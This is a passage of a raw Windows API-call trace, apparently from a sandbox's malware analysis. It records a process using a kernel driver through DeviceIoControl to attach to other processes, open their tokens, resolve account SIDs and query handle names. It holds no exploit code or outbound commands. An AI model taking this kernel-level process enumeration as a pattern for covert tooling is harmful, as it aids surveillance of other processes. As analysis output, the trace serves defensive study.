lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.098] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.098] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.098] PsAcquireProcessExitSynchronization () returned 0x0 [0075.098] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880054f85d0) [0075.098] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.098] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.098] PsReleaseProcessExitSynchronization () returned 0x2 [0075.098] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x10 [0075.098] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.098] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.098] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.098] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.098] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb10) returned 0xc0 [0075.098] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.098] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020fdb30, HandleInformation=0x0) returned 0x0 [0075.098] ObOpenObjectByPointer (in: Object=0xfffffa80020fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.098] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x12 [0075.098] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.098] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.098] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.099] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.099] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.100] CloseHandle (hObject=0xc8) returned 1 [0075.100] CloseHandle (hObject=0xc0) returned 1 [0075.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.100] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.100] PsAcquireProcessExitSynchronization () returned 0x0 [0075.100] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054f85d0) [0075.100] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ed4070, HandleInformation=0x0) returned 0x0 [0075.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.100] PsReleaseProcessExitSynchronization () returned 0x2 [0075.100] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0075.100] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003903044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003903044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.100] ObfDereferenceObject (Object=0xfffffa8001ed4070) returned 0x1 [0075.101] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x9e, lpOverlapped=0x0) returned 1 [0075.101] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.101] PsAcquireProcessExitSynchronization () returned 0x0 [0075.101] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054f85d0) [0075.101] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020fd070, HandleInformation=0x0) returned 0x0 [0075.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.101] PsReleaseProcessExitSynchronization () returned 0x2 [0075.101] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0075.101] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003905044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003905044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.101] ObfDereferenceObject (Object=0xfffffa80020fd070) returned 0x1 [0075.101] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.101] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.101] PsAcquireProcessExitSynchronization () returned 0x0 [0075.101] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880054f85d0) [0075.101] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.101] PsReleaseProcessExitSynchronization () returned 0x2 [0075.101] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0075.101] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.101] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.101] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.101] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb20) returned 0xc0 [0075.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.102] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002117b30, HandleInformation=0x0) returned 0x0 [0075.102] ObOpenObjectByPointer (in: Object=0xfffffa8002117b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.102] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x12 [0075.102] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.102] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.102] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.102] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.102] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.103] CloseHandle (hObject=0xc8) returned 1 [0075.103] CloseHandle (hObject=0xc0) returned 1 [0075.103] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.103] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.103] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.103] PsAcquireProcessExitSynchronization () returned 0x0 [0075.103] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054f85d0) [0075.103] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800202a8e0, HandleInformation=0x0) returned 0x0 [0075.103] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.103] PsReleaseProcessExitSynchronization () returned 0x2 [0075.103] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0075.104] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003914044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003914044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.104] ObfDereferenceObject (Object=0xfffffa800202a8e0) returned 0x1 [0075.104] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.104] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0075.104] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.104] PsAcquireProcessExitSynchronization () returned 0x0 [0075.104] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054f85d0) [0075.104] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002117190, HandleInformation=0x0) returned 0x0 [0075.104] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.104] PsReleaseProcessExitSynchronization () returned 0x2 [0075.104] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0075.104] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003915044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003915044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.104] ObfDereferenceObject (Object=0xfffffa8002117190) returned 0x1 [0075.104] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.104] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.104] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.104] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.104] PsAcquireProcessExitSynchronization () returned 0x0 [0075.104] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880054f85d0) [0075.104] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.104] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.104] PsReleaseProcessExitSynchronization () returned 0x2 [0075.104] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0075.104] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003916044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003916044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.104] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.104] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.104] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.104] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb30) returned 0xc0 [0075.105] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.105] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002098890, HandleInformation=0x0) returned 0x0 [0075.105] ObOpenObjectByPointer (in: Object=0xfffffa8002098890, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.105] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x12 [0075.105] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.105] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.105] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.105] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.105] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.107] CloseHandle (hObject=0xc8) returned 1 [0075.107] CloseHandle (hObject=0xc0) returned 1 [0075.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.107] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.107] PsAcquireProcessExitSynchronization () returned 0x0 [0075.107] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054f85d0) [0075.107] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020b0a80, HandleInformation=0x0) returned 0x0 [0075.107] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.107] PsReleaseProcessExitSynchronization () returned 0x2 [0075.107] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0075.107] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003917044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003917044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.107] ObfDereferenceObject (Object=0xfffffa80020b0a80) returned 0x1 [0075.107] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.107] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0075.107] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.107] PsAcquireProcessExitSynchronization () returned 0x0 [0075.107] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054f85d0) [0075.107] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020b0330, HandleInformation=0x0) returned 0x0 [0075.107] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.107] PsReleaseProcessExitSynchronization () returned 0x2 [0075.107] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0075.107] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003918044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003918044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.108] ObfDereferenceObject (Object=0xfffffa80020b0330) returned 0x1 [0075.108] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.108] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.108] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.108] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.108] PsAcquireProcessExitSynchronization () returned 0x0 [0075.108] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880054f85d0) [0075.108] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.108] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.108] PsReleaseProcessExitSynchronization () returned 0x2 [0075.108] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0075.108] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003922044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003922044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.108] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.108] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.108] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.108] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb40) returned 0xc0 [0075.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.108] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800212ab30, HandleInformation=0x0) returned 0x0 [0075.108] ObOpenObjectByPointer (in: Object=0xfffffa800212ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.108] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x12 [0075.108] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.108] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.108] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.108] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.108] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.110] CloseHandle (hObject=0xc8) returned 1 [0075.110] CloseHandle (hObject=0xc0) returned 1 [0075.110] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.110] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.110] 